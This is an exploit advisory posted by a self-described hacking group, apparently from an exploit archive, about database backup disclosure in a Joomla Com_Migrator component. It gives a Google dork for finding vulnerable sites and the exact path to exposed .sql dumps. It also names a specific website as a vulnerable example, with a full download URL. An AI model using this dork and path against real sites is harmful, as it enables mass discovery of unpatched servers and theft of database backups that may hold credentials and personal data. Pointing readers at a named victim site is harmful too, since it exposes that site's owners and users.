################################################################################################# # Exploit Title : Joomla Com_Migrator Components 1.5 Database Backup Disclosure # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 08/12/2018 # Vendor Homepage : extensions.joomla.org/category/joomla-migration/ # Software Download Link : docs.joomla.org/Migration # Tested On : Windows and Linux # Category : WebApps # Version Information : 1.0 and 1.5 # Exploit Risk : Medium # Google Dorks : inurl:''/administrator/components/com_migrator/dumps/'' # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ] CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ] CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ] ################################################################################################# # Admin Panel Login Path : /administrator # Exploit : /administrator/components/com_migrator/dumps/023136acme_20090124_205314.sql ################################################################################################# # Example Vulnerable Site => [+] acmetravel.it/acme/administrator/components/com_migrator/dumps/023136acme_20090124_205314.sql ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################